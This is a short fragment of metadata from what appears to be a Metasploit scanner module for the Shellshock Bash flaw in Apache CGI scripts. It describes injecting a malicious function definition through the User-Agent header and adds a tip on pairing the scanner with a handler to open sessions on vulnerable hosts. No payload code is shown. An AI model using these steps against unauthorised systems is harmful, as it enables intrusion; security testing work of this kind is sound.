'Name' => 'Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner',  
'Description' => %q{  
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell  
handles external environment variables. This module targets CGI scripts in the  
Apache web server by setting the HTTP_USER_AGENT environment variable to a  
malicious function definition.  
  
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your  
CMD, set ExitOnSession false, run -j, and then run this module to create  
sessions on vulnerable hosts.  
  
Note that this is not the recommended method for obtaining shells.  
If you require sessions, please use the apache_mod_cgi_bash_env_exec  
exploit module instead.
